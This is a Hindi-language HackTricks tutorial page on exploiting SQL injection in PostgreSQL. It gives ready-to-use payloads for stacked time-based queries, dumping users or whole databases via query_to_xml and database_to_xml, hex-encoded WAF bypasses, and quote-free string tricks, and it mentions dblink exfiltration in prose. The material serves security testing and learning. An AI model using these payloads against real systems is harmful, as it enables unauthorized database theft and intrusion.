PostgreSQL injection

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

अगर आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).


यह पृष्ठ विभिन्न ट्रिक्स को समझाने का उद्देश्य रखता है जो आपको postgresql डेटाबेस में पाए गए SQL इंजेक्शन का शोध निकालने और उन ट्रिक्स को पूरा करने में मदद कर सकती हैं जो आपको मिल सकती हैं https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

नेटवर्क इंटरेक्शन - विशेषाधिकार उन्नयन, पोर्ट स्कैनर, NTLM चैलेंज प्रतिक्रिया जारी करना और बाहरी निकासी

PostgreSQL मॉड्यूल dblink अन्य PostgreSQL इंस्टेंसेस से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये विशेषताएँ, COPY FROM कार्यक्षमता के साथ, विशेषाधिकार उन्नयन, पोर्ट स्कैनिंग, और NTLM चैलेंज प्रतिक्रिया कैप्चर जैसी क्रियाएँ संभव बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत विधियों के लिए देखें कैसे इन हमलों को निष्पादित करें

आप इस उदाहरण को देख सकते हैं ताकि आप एक CTF उदाहरण देख सकें कि लार्ज ऑब्जेक्ट्स में डेटा लोड करने और फिर लार्ज ऑब्जेक्ट्स की सामग्री को बाहरी निकासी करने के लिए फ़ंक्शन dblink_connect के उपयोग करने का तरीका देखें।

PostgreSQL हमले: पढ़ना/लिखना, RCE, विशेषाधिकार उन्नयन

देखें कैसे PostgreSQL से होस्ट को कंप्रोमाइज़ करें और विशेषाधिकारों को उन्नत करें:

page5432,5433 - Pentesting Postgresql

WAF बाईपास

PostgreSQL स्ट्रिंग फ़ंक्शन्स

स्ट्रिंग को मोड़ना आपको WAFs या अन्य प्रतिबंधों को बाईपास करने में मदद कर सकता हैइस पृष्ठ में आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन्स पा सकते हैं।

स्टैक्ड क्वेरीज़

ध्यान रखें कि postgresql स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंकेंगे अगर 1 की जगह 2 प्रतिक्रियाएँ लौटाई जाती हैं। लेकिन, आप अब भी समय इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML ट्रिक्स

query_to_xml

यह फ़ंक्शन केवल एक फ़ाइल में XML प्रारूप में सभी डेटा वापस करेगा। यह उपयुक्त है अगर आप बहुत सारे डेटा को केवल 1 पंक्ति में डंप करना चाहते हैं:

SELECT query_to_xml('select * from pg_user',true,true,'');

डेटाबेस_टू_एक्सएमएल

यह फ़ंक्शन सिर्फ 1 पंक्ति में XML प्रारूप में पूरे डेटाबेस को डंप करेगा (ध्यान दें अगर डेटाबेस बहुत बड़ा है तो आप इसे डीओएस कर सकते हैं या अपने ही क्लाइंट को।)

SELECT database_to_xml(true,true,'');

हेक्स में स्ट्रिंग्स

यदि आप क्वेरी को एक स्ट्रिंग के भीतर चला सकते हैं (उदाहरण के लिए query_to_xml फ़ंक्शन का उपयोग करके)। आप convert_from का उपयोग करके स्ट्रिंग को हेक्स के रूप में पास कर सकते हैं और इस तरीके से फ़िल्टर को अनदेखा कर सकते हैं:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

निषिद्ध कोट्स

यदि आप अपने पेलोड के लिए उद्धृतियों का उपयोग नहीं कर सकते हैं तो आप इसे CHR के साथ दुर्गम कर सकते हैं बुनियादी वाक्यांशों के लिए (वर्ण संयोजन केवल बुनियादी क्वेरी के लिए काम करता है जैसे कि SELECT, INSERT, DELETE, आदि। यह सभी SQL वक्तव्यों के लिए काम नहीं करता है):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

या $ के साथ। ये क्वेरीज़ एक ही परिणाम वापस करती हैं:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated